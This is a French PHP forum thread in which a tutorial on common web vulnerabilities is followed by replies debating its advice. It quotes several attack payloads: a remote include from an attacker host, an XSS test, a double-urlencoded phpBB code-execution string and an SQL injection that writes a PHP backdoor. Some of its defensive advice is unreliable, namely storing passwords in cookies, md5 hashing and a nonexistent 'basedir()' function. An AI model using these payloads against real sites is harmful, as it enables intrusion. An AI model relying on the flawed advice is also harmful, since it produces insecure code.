IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Contribuez / Téléchargez Sources et Outils PHP Discussion :

[Sécurité] Les failles les plus courantes [Tutoriel]


Sujet :

Contribuez / Téléchargez Sources et Outils PHP

  1. #1
    Candidat au Club
    Profil pro
    Inscrit en
    Août 2006
    Messages
    5
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Août 2006
    Messages : 5
    Points : 3
    Points
    3
    Par défaut [Sécurité] Les failles les plus courantes
    Voici un sujet dont je suis l'auteur, j'espère qu'il pourra vous être utile. =]

    Ce sujet a la prétention de regrouper les failles PHP les plus courantes et les plus dangereuses. Je m'employerais à tenir un discour accessible aux initiés comme aux débutants. Des allusions à des fonctions PHP pourront être faites, ce n'est pas le rôle de ce sujet que de vous apprendre à les utiliser, ainsi, je vous invite à vous référer à la documentation de PHP pour les termes qui ne vous poseraient problème.

    Ces textes sont libres de droits, pour ma part, si vous souhaitez les utiliser sur votre site ou forum, merci d'indiquer la provenance, et le (ou les) auteur(s).

    1. Les variables dans l'URL
    2. Défauts de la redirection
    3. Faille Include()
    4. Failles XSS
    5. Failles Cookies
    6. Faille Urlencode()
    7. Faille Require()
    8. Trucs et astuces pour rester au sec


    ################################ N°1 ################################

    1. Variables a l'air, gaffe aux courrants d'air.

    Un script est potentiellement exploitable quand un visiteur lambda peut agir librement sur vos variables, soit quand elles passent par une URL, comme suit : http://www.site.com/admin.php?loggin=1, soit quand vos identifiants de connexion sont contenus dans votre URL (à savoir une URL qui ressemblerait à http://www.site.com/admin.php?loggin=arthur&pass=toto). A partir du moment ou une personne a accès à des informations sensibles ou qu'il peut modifier une variable dans votre URL qui peut influer sur sa simple condition de visiteur à travers votre site, vous devez vous estimer en danger.

    Pourquoi ? Même si cela puisse semble évident à la pluspart des codeurs, cette faille de sécurité se retrouve parfois sur le net, voir (et là c'est plus grave) dans des scripts installables sur vos sites, il faut donc veiller à ce qu'aucune variable sensible ou contrôlant l'acces à une page protégée ne se trouve dans vos URLs.

    Comment y remedier ? L'utilisation des sessions ou des cookies est fortement recommandée dans ce cas : Elle vous évitera d'avoir à trainer une variable "sensible" dans vos URLs, et vos connexions à vos pages protégées se feront de façon transparente, soit en faisant transiter vos identifiants de connexion entre les pages par un ID de session, soit par un fichier contenant vos identifiants installé sur votre ordinateur qui sera lu par votre site.


    ################################ N°2 ################################

    2. La redirection ? Pas une solution.

    Lorsque vous mettez à la disposition de vos membres un acces privé, ces derniers doivent se logger, une personne mal intentionnée peut tout de même accéder à vos espaces protégés si la seule protection est la redirection automatique. Quels genre de codes sont infectés ?

    If ($password !== "Pouletgrille") { print'<meta http-equiv="refresh" content="1; URL=?page=connexion">'; }

    Pourquoi ? Que va il se passer quand le piratin va rentrer un mauvais mot de passe ? Il va arriver sur votre page non protégée, et va être aussitôt redirigé vers une page d'erreur, et c'est là l'erreur : Le visiteur pourra toujours bloquer son navigateur, ou enregistrer votre page, et il vera l'intégralité de votre page "protégée", et pourra y accomplir ses méfaits.

    Comment y remédier ? C'est simple, il faut de toute façon que le contenu de votre espace protégé n'apparaisse jamais, JAMAIS, JAMAIS, JAMAIIIIS sur la page de vos visiteurs, même pas une micro-seconde, le moyen le plus simple de réparer ce problème est d'agir comme suit :

    If ($password == "Pouletgrille") { Print'Insérez ici le contenu de votre section admin'; } else { print'Erreur de connexion ! Afficher le formulaire d'identification'; }


    C'est une méthode basique (certainement trop.) mais elle aura le mérite de vous protéger.

    ################################ N°3 ################################

    3. La faille Include()

    Célèbre car très utilisée, la faille include permet au pirate de prendre le contrôle entier de votre site : Ajouter, supprimer ou modifié des fichiers, en voir le contenu (password, attention), ou même pire, stocker des programmes malveillants sur votre espace web, si votre code se présente dans cette configuration, inquiétez vous :

    <?php include("$page") ?>

    Pourqoi ? De cette façon, vous intégrez une page à une autre page, par exemple, via ce lien : http://www.votresite.com/index.php?page=accueil.php. Cette méthode remplit son rôle, vous avez bien le fichier demandé sur votre page, et les moutons sont bien gardés. Eh bien non ! Les moutons ne sont pas bien gardés, regardez, il y en a déjà un KO, et les autres vont bientôt se faire attaquer, comment ? Le pirate peut egalement intégrer ses pages malveillantes (comme cela : http://www.votresite.com/?page=http://www.sitedupirate.com/script.txt, et comme le PHP est un langage merveilleux, il pourra TOUT faire.

    Comment y remédier ? Il y a plusieurs solutions : Voici une liste des alternatives les plus courrantes


    ################################ N°4 ################################

    4. La faille XSS ? Ca me donne de l'herpes !

    Si vous proposez à vos visiteurs un livre d'or, un forum (Premieres versions de phpBB, warning.) ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si en entrant ce code dans l'espace où les visiteurs peuvent poster un message, un pop-up s'ouvre, inquietez vous (ce test ne coûte rien à faire, mais peut se montrer très important.) :

    Salut ! <script>window.open("http://www.monsite.com/);</script>

    Pourquoi ? Vous etes victimes d'une faille XSS, mais qu'est-ce donc que cette bestiole là ? C'est l'exploitation d'un bug de sécurité permettant à vos visiteurs d'executer des scripts javascript, par exemple, que peut on faire avec ça ? Voler le contenu de vos cookies de connexion (yabon, on va pouvoir se connecter à votre forum sous votre compte, ou a votre site dans la partie administration), ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses pleines de fer et de calcium.

    Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant de l'HTML (comme ceci : $message = htmlspecialchars($message); ainsi, le code javascript ne sera pas interprété et sera écrit en html, c'est la méthode la plus simple, la plus répandue et la plus propre. ), ou empecher l'emploi de "javascript" (ainsi, aucun script javascript ne pourra etre executé), comme suit : $message=str_replace("java script:","",$message); (par exemple, le forum de PCinpact a décidé d'imposer un espace entre java et script, en plus d'imposer l'écriture des messages en html.

    ################################ N°5 ################################

    5. La faille cookies ? Que nenni !

    Une faille cookies permet, dans une configuration bien spéciale, d'utiliser un cookie de connexion pour le transformer en celui de quelqu'un d'autre.

    Pourquoi ? Si à la connexion à la section membre, l'individu se logue avec ses identifiants, reçois donc son petit cookie (et ne le reçois que si il a rentré des identifiants correct) et voit donc son nom d'utilisateur dans son cookie, et seulement son nom d'utilisateur apparaitre, le script remplit son rôle, vos pages vérifient que le cookie existe, et utilise son nom d'utilisateur pour ses droits d'acces, mais il y a un probleme : L'utilisateur, mal intentionné peut tout de même déjouer votre sécurité, certes, il a bien utilisé des identifiants, il a donc reçu un cookie automatiquement généré, et tout ça, mais une fois qu'il a le cookie ? Il change son nom, et hop hop hop, ni une ni deux, il se retrouve avec votre nom d'utilisateur, et peut faire ce qu'il lui plait.

    Comment pallier à ce probleme ? En stockant le nom d'utilisateur et le mot de passe dans les cookies, ainsi, même si la personne change le nom d'utilisateur, le mot de passe ne conviendra toujours pas. La faille cookie peut souvent être couplée avec une faille XSS pour permettre de se connecter à votre espace membre, et ce, même si votre mot de passe est crypté. Il est donc recommandé de coupler votre système de sécurité avec une vérification de l'IP qui demanderait le reloging du membre en cas d'incompatibilité de l'IP en base de données et de celle qui veut se connecter.

    ################################ N°6 ################################

    6. La faille urldecode() dans les requetes SQL. (par Savory)

    Utilisé contre phpmyadmin et phpbb actuellement.

    Par exemple pour reprendre le code de viewtopic de phpbb :

    $highlight_match = $highlight = '';
    if (isset($HTTP_GET_VARS['highlight']))
    {
    // Split words and phrases
    $words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));

    for($i = 0; $i < sizeof($words); $i++)


    si on url encode ' en %27 puis re-urlencode en %2527 on peut injecter un ' au nez de la requete et donc injecter du code php.
    Par exemple pour reprendre celui de santy [...]highlight=%2527.passthru($rush).%2527&rush=id


    Je vais essayer de trouver un complément d'information pour cette faille et de l'expliciter d'avantage. (ou si quelqu'un veut s'y coller..)

    ################################ N°7 ################################

    7. La faille require()

    Au meme titre que l'include cité precedement sauf qu'elle est sensible au byte null genre %00
    Si par exemple on a require("/home/web/lib/".$truc.".php");
    on peut poisonner truc via cookie/post/get et lui append %00 a la fin pour enlever le ".php" c'est pour cela qu'il est absolument preconisé d'utiliser require_once et des variables statiques.

    Apres cela reste la sql injection qui peut mener jusqu'a une intrusion de l'os :
    L'exemple parlera de lui meme

    1' OR 1=1 INTO OUTFILE "/var/www/htdocs/site/kikoo.php" FIELDS TERMINATED BY '<?include($p);exit;?>'/*

    on pourra remplacer les ' par des " et urlencoder <?include($p);exit;?>
    en %3C%3Finclude%28%24p%29%3Bexit%3B%3F%3E

    et hop on se fabrique une include a condition de connaitre le path relatif du wwwroot pouvant etre reperé en faisant bugger la page.

    Je vais essayer de trouver un complément d'information pour cette faille et de l'expliciter d'avantage. (ou si quelqu'un veut s'y coller..)

    ################################ N°8 ################################

    8. Trucs et astuces

    Respectez la norme

    Toujours utiliser <?php (et non <?) pour des raisons de portabilité et de compatibilité avec les futures versions de php.

    Ne laissez pas de messages d'erreur
    Evitez de laisser des pages en création accessibles : Vous devez être le seul à avoir acces aux messages d'erreur. ( ou utiliser error_reporting(0); )

    Vérifiez l'intégrité des fichiers utilisés
    Utilisez toujours la fonction basedir(); pour être sur que les fichiers contenus dans les URL se trouvent dans le même répertoire (et non importés d'autres sites exotiques)

    Encodez tous les mots de passe
    Exemple de procédure :

    Dans la base de données, si vous avez des compte utilisateur, ne notez pas leur mots de passes "en clair":
    utilisez la commande md5():

    $mdp_chiffre = md5($motdepasse);

    Pour vérifier le mot de passe d'un utilisateur, lors de sa connection par exemple, faites:

    $a_verifier = md5($ce_qui_a_ete_saisi);

    et comparez ce que vous obtenez avec ce qui est stocké dans la base de données. Ainsi, quelqu'un accédant au contenu de la table des utilisateurs n'aura pas leur mot de passe pour autant. (note: à la place de md5(), vous pouvez utiliser Mcrypt, Mhash, crypt, etc.)



    ###########################

    Pour finir, n'oubliez pas que les failles de sécurité ne sont pas obligatoirement de votre faute, elles peuvent se trouver dans les scripts pré-créés que vous installez, et elles sont d'autant plus dangereuses qu'un pirate peut connaitre le code source exact de ces scripts, vérifiez donc tout ce qui entre dans votre FTP. ;-)

  2. #2
    Membre expérimenté
    Avatar de Anduriel
    Homme Profil pro
    Ingénieur intégration
    Inscrit en
    Février 2004
    Messages
    2 290
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Ingénieur intégration

    Informations forums :
    Inscription : Février 2004
    Messages : 2 290
    Points : 1 500
    Points
    1 500
    Par défaut
    Je pense qu'il serait alors mieux ici

  3. #3
    Membre expérimenté
    Avatar de guitou12
    Homme Profil pro
    Inscrit en
    Juillet 2006
    Messages
    1 077
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 41
    Localisation : France, Gironde (Aquitaine)

    Informations forums :
    Inscription : Juillet 2006
    Messages : 1 077
    Points : 1 561
    Points
    1 561
    Par défaut
    Tutorial assez clair et facile à appréhender !

    J'approuve et te félicite pour ton travail
    Ex développeur Php / J2EE.
    Actuellement reconverti à SharePoint 2013

    Mon blog SP 2013

  4. #4
    Membre averti
    Profil pro
    Ingénieur en électronique
    Inscrit en
    Septembre 2004
    Messages
    419
    Détails du profil
    Informations personnelles :
    Âge : 37
    Localisation : France

    Informations professionnelles :
    Activité : Ingénieur en électronique

    Informations forums :
    Inscription : Septembre 2004
    Messages : 419
    Points : 333
    Points
    333
    Par défaut
    Tout a fait , je remarque , que je connai plus de chose que je croiait .....

    puis , comme j'ai perdu mon aide mémoire , je te remerci pour htmlspecialchars

    Trés bon torial . Merci a toi ...

  5. #5
    Invité
    Invité(e)
    Par défaut
    Hello,

    Un bon topic d'utilité public . Je vais passer (encore) pour le rabajoie , mais certains choses m'héritent d'être un peu plus claires, même si les explications s'adressent à un public assez large.

    Il y'a quelque points que je m'aimerais eclaircir,

    A commencer par la manipulation de variable par URL, il ne s'agit pas de manipuler des variables, mais les paramètres de ces dernières. (Les variables sont manipulables dans un seul cas précis (à ma connaissance) : lorsque la directive PHP register_global est à ON). Ce n'est pas la même vulnérabilité.

    La, ou plutôt les failles includes (il en existe plusieurs type, tout comme les inclusions XSS abordées) sont un type de vulnérabilité très courant, et même même si les codeurs le savent, on en retrouve très régulièrement dans les programmes PHP populaires. C'est une question de rigueur dans le code source.

    Le plus souvent ces failles permettent l'injection de code SQL, et dans les cas les plus critique (cela dépend du mode de fonctionnement de PHP), l'exécution de code arbitraire sur le système cible (avec les fonctions système de PHP).

    Concernant l'exploitation des cookies, j'ai un peu de mal à te suivre, il y effectivement un risque de vol de cookie (par injection XSS entre autres), ceci dit, le stockage d'informations formelle dans un cookie, c'est dépassé. A la rigueur, un cookie devrait contenir un identifiant de session PHP, rien d'autre.

    La technique consistant à empecher le vol de cookie par adresse IP ne prend pas en compte le cas du serveur proxy....

    Plusieurs clients ayant le même serveur (proxy) mendataire disposent du même adresse IP, ils peuvent donc se compromettrent entre eux !

    La "norme" consistant à utiliser la balise d'ouverture <?php est destinée a éviter un conflit avec XML.

    Les balises d'ouverture alternatives seront restreintes à partir de PHP 6.

    Chiffrer les mot de passe avec md5() ou sha1() est une aberration, cela sert uniquement a masquer les mot de passe dans la base de données (rien d'autre).

    Crypter les mot de passe est une solution plus robuste.

    Lorsque un serveur Web (avec PHP) est en production, il est de la responsabilité de l'administrateur de restreindre l'affichage des erreurs, et par la même passer en safe_mode pour éviter l'exécution de certaines fonctions "système". C'est souvent négligé.

    Je pense que la meilleur approche ne consiste pas à énumerer les failles possibles, mais plutôt à énumerer les bonnes pratiques pour en prévenir un maximum .

    Le débat est lancé !

  6. #6
    Membre du Club Avatar de AzertyH
    Profil pro
    Inscrit en
    Mars 2006
    Messages
    90
    Détails du profil
    Informations personnelles :
    Localisation : France, Hérault (Languedoc Roussillon)

    Informations forums :
    Inscription : Mars 2006
    Messages : 90
    Points : 67
    Points
    67
    Par défaut
    Tout à fait d'accord...
    Cepandant tu dis que la méthode de transformation en md5 est une abération. Je pensais que c'était le codage le plus sûre. Pourrait tu me donner des URL pour découvrir ta méthode apparament plus sûre que le md5.

    Merci

  7. #7
    Invité
    Invité(e)
    Par défaut
    Citation Envoyé par AzertyH
    Tout à fait d'accord...
    Cepandant tu dis que la méthode de transformation en md5 est une abération. Je pensais que c'était le codage le plus sûre. Pourrait tu me donner des URL pour découvrir ta méthode apparament plus sûre que le md5.

    Merci
    Pour faire court, je te dirai simplement que le md5 (ou le sha1) sont des algorithmes de chiffrage et non de cryptage.

    Partant de ce principe, md5 ne joue qu'un rôle de "camouflage" de l'information (plus "facilement" corruptible ou réutilisable qu'une information cryptée).

    La rédaction est en train de rédiger un article complet sur la sécurité PHP.

    Bye
    Dernière modification par Invité ; 06/10/2006 à 23h23.

  8. #8
    Membre expert
    Avatar de trotters213
    Profil pro
    Inscrit en
    Janvier 2005
    Messages
    2 571
    Détails du profil
    Informations personnelles :
    Âge : 38
    Localisation : France, Gard (Languedoc Roussillon)

    Informations forums :
    Inscription : Janvier 2005
    Messages : 2 571
    Points : 3 145
    Points
    3 145
    Par défaut
    à tous et avant tout chapeau bas pour le petit tuto bien sympa
    J'aurias une question à poser aux spécialistes sécu : je fais des require_once dans mes pages PHP pourtant rien n'apparait dans l'URL donc je n'arrive pas à comprendre cette faille dont tout le monde parle.
    Quelqu'un pourrait-il en expliquer d'avantage.

  9. #9
    Membre du Club Avatar de AzertyH
    Profil pro
    Inscrit en
    Mars 2006
    Messages
    90
    Détails du profil
    Informations personnelles :
    Localisation : France, Hérault (Languedoc Roussillon)

    Informations forums :
    Inscription : Mars 2006
    Messages : 90
    Points : 67
    Points
    67
    Par défaut
    Pareil pour moi, je ne comprend pas la faille 7 avec require_once. Si on interdit l’ouverture de fichiers distants avec la variable alloow_url_fopen=off dans php.ini , est-ce-que la configuration de cette option règle le problème (ou je n'ai pas compris cette faille) ?

    Merci pour votre aide

  10. #10
    Membre averti
    Avatar de Julien.alkaza
    Profil pro
    Inscrit en
    Octobre 2004
    Messages
    239
    Détails du profil
    Informations personnelles :
    Âge : 38
    Localisation : France, Vaucluse (Provence Alpes Côte d'Azur)

    Informations forums :
    Inscription : Octobre 2004
    Messages : 239
    Points : 363
    Points
    363
    Par défaut
    des algorithmes de chiffrage et non de cryptage
    FAUX!!!
    md5 est un algo de hashage....
    Crypter...Ca n'existe pas...On dit chiffrer... Pourtant, on parle de cryptographie...

    Je pourrais vous sortir mes cours de sécu mais bon!!!

    Voici un extrait du wikipédia :
    « Cryptage » ? [modifier]

    Le terme « cryptage » serait un anglicisme, tiré de l'anglais encryption. En français, on doit employer le mot chiffrement. L'Académie française précise que le mot « cryptage » est à bannir et il ne figure pas dans son dictionnaire même si on peut le trouver dans des usuels. Toutefois, « crypter » est souvent employé, surtout au passif, dans le cadre de la télévision payante (on « crypte » des chaînes). D'ailleurs la racine grecque kryptô (caché) justifie pleinement son utilisation chaquefois que le chiffrement , c'est à dire la conversion en chiffres, est utiliser pour cacher le message, le déchiffrement constitue la conversion des chiffres en lettres pour retrouver le message, alors que le décryptage consiste à le découvrir.

    Afin de répondre à l'interrogation « mais pour quelle raison ne pas employer ce mot ? », le premier argument consiste à reprendre les différentes définitions des mots chiffrer/déchiffrer et de décrypter (voir l'article cryptographie). Décrypter désignant le fait de « retrouver le message clair correspondant à un message chiffré sans posséder la clé de déchiffrement », l'usage tel qu'il tend à se développer du pseudo-couple crypter/décrypter va simplement les faire tendre à l'état de synonyme de chiffrer/déchiffrer (tout comme les anglophones avec encipher/decipher et encrypt/decrypt). Ainsi plutôt que de gagner un nouveau mot (en l'occurrence crypter) sans nouveau sens, nous perdrons un ancien sens, le sens actuel de décrypter. Ou comment perdre en croyant gagner...
    Bref...Tout ca pour dire que si on veut du robuste, on fait un chiffrement (Symétrique ou non). Ou alors, on "ashe" et on rajoute un grain de sel!

    Voilà, je tenais à le dire!!
    Admin Réseaux & Systèmes.

    Red Hat Certified Technician...#604006101698235

  11. #11
    Invité
    Invité(e)
    Par défaut
    Citation Envoyé par Julien.alkaza
    FAUX!!!
    md5 est un algo de hashage....
    Crypter...Ca n'existe pas...On dit chiffrer... Pourtant, on parle de cryptographie...

    Je pourrais vous sortir mes cours de sécu mais bon!!!

    Voici un extrait du wikipédia :


    Bref...Tout ca pour dire que si on veut du robuste, on fait un chiffrement (Symétrique ou non). Ou alors, on "ashe" et on rajoute un grain de sel!

    Voilà, je tenais à le dire!!
    Il est bon de rappeler que Wikipdéia est un encylopédie Libre, pas une doctrine .

    En ce qui me concerne, j'emploie toujours les termes généralisés qui me paraîssent les plus adéquats, et ensuite ceux utilisés purement en informatique technique.

    ...Ceci dit, je n'ai pas employé le terme chiffrement mais le terme chiffrage ce qui n'est pas la même chose (vérifie dans un dictionnaire) :

    Chiffrage
    - Action de transcrire en chiffres

    Chiffrement
    - Transcription en caractères secrets


    Alors on peut toujours jouer sur les mots pour la posterité, je ne pense pas que ce soit le problème.

  12. #12
    Membre averti
    Avatar de Julien.alkaza
    Profil pro
    Inscrit en
    Octobre 2004
    Messages
    239
    Détails du profil
    Informations personnelles :
    Âge : 38
    Localisation : France, Vaucluse (Provence Alpes Côte d'Azur)

    Informations forums :
    Inscription : Octobre 2004
    Messages : 239
    Points : 363
    Points
    363
    Par défaut
    Certe le WIKI est une encyclopédie libre...Mais l'expert en sécurité informatique qui nous a fait les cours, lui, n'est pas libre...Enfin, je pense!!

    Donc, il y a fort à parier que ce qu'il nous a dit est juste!

    De plus, md5 n'est pas un algo de chiffrage...parce qu'il y a aussi des lettres... (Humour!)
    Bref, même si j'utilise aussi crypter au lieu de chiffrer...Je sais que ce n'est pas exact comme terme!
    Admin Réseaux & Systèmes.

    Red Hat Certified Technician...#604006101698235

  13. #13
    Rédacteur

    Avatar de Yogui
    Homme Profil pro
    Directeur technique
    Inscrit en
    Février 2004
    Messages
    13 721
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Yonne (Bourgogne)

    Informations professionnelles :
    Activité : Directeur technique

    Informations forums :
    Inscription : Février 2004
    Messages : 13 721
    Points : 29 985
    Points
    29 985
    Par défaut
    Allons allons, les enfants, restons constructifs

    Comme l'a dit Guardian_7, l'équipe de Rédaction de Developpez est en train de vous concocter une série d'articles sur la sécurité. C'est un gros morceau, donnez-nous le temps de le faire correctement

  14. #14
    Inscrit
    Profil pro
    Inscrit en
    Juin 2006
    Messages
    531
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2006
    Messages : 531
    Points : 282
    Points
    282
    Par défaut
    Le problème avec les articles sur la sécurité, c'est que les pirates les lisent aussi.

    Sinon pareil, le require_once m'interpelle.

  15. #15
    Membre expérimenté

    Profil pro
    Inscrit en
    Janvier 2005
    Messages
    1 278
    Détails du profil
    Informations personnelles :
    Localisation : France, Gironde (Aquitaine)

    Informations forums :
    Inscription : Janvier 2005
    Messages : 1 278
    Points : 1 639
    Points
    1 639
    Par défaut
    Citation Envoyé par JackBeauregard
    Le problème avec les articles sur la sécurité, c'est que les pirates les lisent aussi.
    Ne t'inquiète pas ! Les pirates n'ont pas besoin de tutoriels pour pirater !
    Alors que nous, c'est indispensable pour bien coder.

  16. #16
    Membre expérimenté

    Profil pro
    Inscrit en
    Janvier 2005
    Messages
    1 278
    Détails du profil
    Informations personnelles :
    Localisation : France, Gironde (Aquitaine)

    Informations forums :
    Inscription : Janvier 2005
    Messages : 1 278
    Points : 1 639
    Points
    1 639
    Par défaut
    Citation Envoyé par Lootro
    5. La faille cookies ? Que nenni !

    Une faille cookies permet, dans une configuration bien spéciale, d'utiliser un cookie de connexion pour le transformer en celui de quelqu'un d'autre.

    Pourquoi ? Si à la connexion à la section membre, l'individu se logue avec ses identifiants, reçois donc son petit cookie (et ne le reçois que si il a rentré des identifiants correct) et voit donc son nom d'utilisateur dans son cookie, et seulement son nom d'utilisateur apparaitre, le script remplit son rôle, vos pages vérifient que le cookie existe, et utilise son nom d'utilisateur pour ses droits d'acces, mais il y a un probleme : L'utilisateur, mal intentionné peut tout de même déjouer votre sécurité, certes, il a bien utilisé des identifiants, il a donc reçu un cookie automatiquement généré, et tout ça, mais une fois qu'il a le cookie ? Il change son nom, et hop hop hop, ni une ni deux, il se retrouve avec votre nom d'utilisateur, et peut faire ce qu'il lui plait.

    Comment pallier à ce probleme ? En stockant le nom d'utilisateur et le mot de passe dans les cookies, ainsi, même si la personne change le nom d'utilisateur, le mot de passe ne conviendra toujours pas. La faille cookie peut souvent être couplée avec une faille XSS pour permettre de se connecter à votre espace membre, et ce, même si votre mot de passe est crypté. Il est donc recommandé de coupler votre système de sécurité avec une vérification de l'IP qui demanderait le reloging du membre en cas d'incompatibilité de l'IP en base de données et de celle qui veut se connecter.
    Je ne suis pas du tout d'accord avec tes conseils pour éviter les problèmes de cookies.
    Faisons simple : on ne dois jamais faire confiance aux données GPC (GET, POST, COOKIE), puisqu'elles peuvent être modifiées à volonté par l'utilisateur. D'ailleurs, l'intégralité des failles repose sur des problèmes de validation des données GPC.
    Donc, stocker des données sensibles dans un cookie est une hérésie ! N'importe quel autre utilisateur (membre de la famille, collègue de bureau, successeur sur l'ordi du cybercafé...) peut lire et/ou utiliser le cookie. De plus, si tu stockes le mdp dans un cookie, il va circuler sur le réseau à chaque page... ouvrant une autoroute pour le sniffing
    Mon conseil est très simple : aucune donnée sensible en cookie. Toutes les données en session ou en bdd. Si le cookie est utilisé, il ne doit contenir qu'un id.

  17. #17
    Membre du Club Avatar de AzertyH
    Profil pro
    Inscrit en
    Mars 2006
    Messages
    90
    Détails du profil
    Informations personnelles :
    Localisation : France, Hérault (Languedoc Roussillon)

    Informations forums :
    Inscription : Mars 2006
    Messages : 90
    Points : 67
    Points
    67
    Par défaut
    Je suis débutant mais avec tout ce que j'ai déjà lu sur la sécurité, je suis tout à fait d'accor. Dans un cookie, aussi bien que dans un fichier de session, on ne doit pas mettre de données sensible. Par ailleur, je me pose une question: Si l'on stock dans un cookie ou dans un fichier de session le numéro d'ID de session de l'utilisateur, est-ce que cela représente une faille. Autrement dit, est-ce que seul un ID de session peut être exploitable par un pirate?

    Merci pour votre aide

  18. #18
    Rédacteur

    Avatar de Yogui
    Homme Profil pro
    Directeur technique
    Inscrit en
    Février 2004
    Messages
    13 721
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Yonne (Bourgogne)

    Informations professionnelles :
    Activité : Directeur technique

    Informations forums :
    Inscription : Février 2004
    Messages : 13 721
    Points : 29 985
    Points
    29 985
    Par défaut
    Salut

    Au contraire, l'ID de session est à peu près la seule variable qui doit être conservée dans le cookie.

  19. #19
    Membre du Club Avatar de AzertyH
    Profil pro
    Inscrit en
    Mars 2006
    Messages
    90
    Détails du profil
    Informations personnelles :
    Localisation : France, Hérault (Languedoc Roussillon)

    Informations forums :
    Inscription : Mars 2006
    Messages : 90
    Points : 67
    Points
    67
    Par défaut
    Au contraire, l'ID de session est à peu près la seule variable qui doit être conservée dans le cookie.
    Oui c'est bien ce que j'ai voulu dire.
    Mais moi ce que je voudrais savoir, c'est est-ce qu'un ID de session (ex: 4812348431548115451354) est esploitable par un pirate. Par exemple un pirate peu-t-il se servir d'un ID de session qui n'est pas le sien afin de pirater un espace protéger ou un autre truck du genre sécurisé dans un site?
    Bien sure, je parle que du numéro de session et non pas tout les renseignement confidentiels tel que le mot de passe par exemple.

    Merci pour votre aide

  20. #20
    Invité
    Invité(e)
    Par défaut
    Citation Envoyé par AzertyH
    Oui c'est bien ce que j'ai voulu dire.
    Mais moi ce que je voudrais savoir, c'est est-ce qu'un ID de session (ex: 4812348431548115451354) est esploitable par un pirate. Par exemple un pirate peu-t-il se servir d'un ID de session qui n'est pas le sien afin de pirater un espace protéger ou un autre truck du genre sécurisé dans un site?
    Bien sure, je parle que du numéro de session et non pas tout les renseignement confidentiels tel que le mot de passe par exemple.

    Merci pour votre aide
    Salut,

    Effectivement, il est possible pour le pirate de se servir de l'ID de session TANT QUE celui-ci est valide sur le site en question...C'est le risque de vol de session classique...

    Mais il s'agit pas toujours de pirates..., il arrive en effet que cet identifiant soit transmi par erreur (par exemple, tu passes un lien à un de tes potes dans lequel figure justement un ID de session encore valide)...

    Il pourra accèder à ta session tant que celle-ci n'aura pas expirée ou qu'elle n'aura pas été détruite explicitement.

    C'est principalement pour cette raison qu'il est recommandé de se déconnecter dans le site, avant de fermer son navigateur.

Discussions similaires

  1. les failles de sécurité ORACLE
    Par sbaa_saida dans le forum Oracle
    Réponses: 1
    Dernier message: 08/03/2010, 08h19
  2. Tester les failles de sécurité d'un site
    Par Général03 dans le forum Sécurité
    Réponses: 7
    Dernier message: 10/09/2009, 16h11
  3. Réponses: 1
    Dernier message: 26/11/2008, 20h48
  4. Déterminer les failles de sécurités sur mon site
    Par whitespirit dans le forum EDI, CMS, Outils, Scripts et API
    Réponses: 2
    Dernier message: 05/06/2008, 07h36
  5. Techniques les plus courantes dans l'E-commerce
    Par manaboko dans le forum E-Commerce
    Réponses: 3
    Dernier message: 31/01/2006, 16h47

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo